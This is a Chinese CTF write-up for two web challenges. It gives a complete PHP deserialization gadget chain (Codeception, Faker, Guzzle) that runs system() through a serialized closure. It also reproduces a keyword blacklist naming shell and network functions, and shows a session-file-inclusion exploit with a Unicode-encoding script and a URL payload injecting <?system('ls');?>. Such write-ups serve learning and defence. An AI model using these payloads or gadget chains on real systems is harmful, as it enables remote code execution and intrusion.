前言 就做了俩题,另外一题还是赛后半小时后才做出来,太太太太太太太太太太太菜了
ezyii 网上有现成的链子 拿到直接打就行了,后面在研究一下过程吧
<?php namespace Codeception \Extension { use Faker \DefaultGenerator ; use GuzzleHttp \Psr7 \AppendStream ; class RunProcess { protected $output; private $processes = []; public function __construct ( ) { $this ->processes[]=new DefaultGenerator(new AppendStream()); $this ->output=new DefaultGenerator('jiang' ); } } echo urlencode(serialize(new RunProcess())); } namespace Faker { class DefaultGenerator { protected $default ; public function __construct ($default = null ) { $this ->default = $default; } } } namespace GuzzleHttp \Psr7 { use Faker \DefaultGenerator ; final class AppendStream { private $streams = []; private $seekable = true ; public function __construct ( ) { $this ->streams[]=new CachingStream(); } } final class CachingStream { private $remoteStream; public function __construct ( ) { $this ->remoteStream=new DefaultGenerator(false ); $this ->stream=new PumpStream(); } } final class PumpStream { private $source; private $size=-10 ; private $buffer; public function __construct ( ) { $this ->buffer=new DefaultGenerator('j' ); include ("closure/autoload.php" ); $a = function ( ) {system('cat /flag.txt' );phpinfo(); }; $a = \Opis\Closure \serialize($a); $b = unserialize($a); $this ->source=$b; } } }
安全检测 这题的就在于扫扫扫扫描。。。。。。也就是信息收集
首先是
有源码,然后username可控
<?php ob_start(); session_start(); function check3 ($username ) { $pattern = "\/\*|\*|\.\.\/|\.\/|<|>|\?|\*|load_file|outfile|dumpfile|sub|hex|where" ; $pattern .= "|file_put_content|file_get_content|fwrite|curl|system|eval|assert" ; $pattern .= "|select|insert|update|delete|load_file|into outfile|drop" ; $pattern .="|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore" ; $pattern .="|`|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec|http|.php|.ph|\@|:\/\/|flag" ; $pattern .="|file|dict|gopher" ; $vpattern = explode("|" ,$pattern); foreach ($vpattern as $value){ if (preg_match( "/$value /i" , $username )){ echo "检测到æ¶æ„å—符" ; exit (0 ); } } } $username=file_get_content("php://input" ); check3($username); $username=json_decode($username)->username; if ($username){ $_SESSION['user1' ]=$username; Header("Location:./index.php" ); ob_end_flush(); exit (0 ); } ?>
可以发现session_start()函数,username又存入session中,大概率就是session文件包含了,于是再找找哪里能继续包含内容 在后面输入url窗口那里,发现输入这个,可以读到include123.php
127.0.0.1/admin/include123.php
然后这里就有一个include函数,那么就可以实现session文件包含了
解法一:
利用username进行session文件包含,由于后面使用了json_decode,所以我们可以使用unioncode编码输入内容,这样就就可以绕过前面的过滤了 PS:一开始一直没成功,后面才知道是实体化编码的问题,输入的内容虽然可以正常显示 但已经不是原本的东西了,其中就是<这个编码错误了,这个是学长给的unioncode编码脚本,用这个就行了
def UNICODE (payload ): res_payload = "" for i in payload: i = "\\u00{}" .format(hex(ord(i))[2 :]) res_payload += i print("[+]'{}' Convert to UNICDOE: \"{}\"" .format(payload,res_payload))
直接上网站加密就没成功了。。看下面这个
payload
http://127.0.0.1/admin/include123.php?u=/tmp/sess_xxxx(你的session)
解法二:
可以看到我们输入的链接最终也会在session文件里面出现,所以此时我们可以利用这个链接进行文件包含
http://127.0.0.1/admin/include123.php?u=/tmp/sess_xxxx(你的session)&a=<?system('ls');?>
但是需要注意的是不能有空格,会被直接截断!,所以后面可以使用这个进行绕过
小结 还是太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太菜了,要走的路还很远,好好加油 反思一下这次这个安全监测应该可以很快做出来的,主要是信息收集得不行,太慢了,而且换了好几个工具有必要更新一下字典之类的了!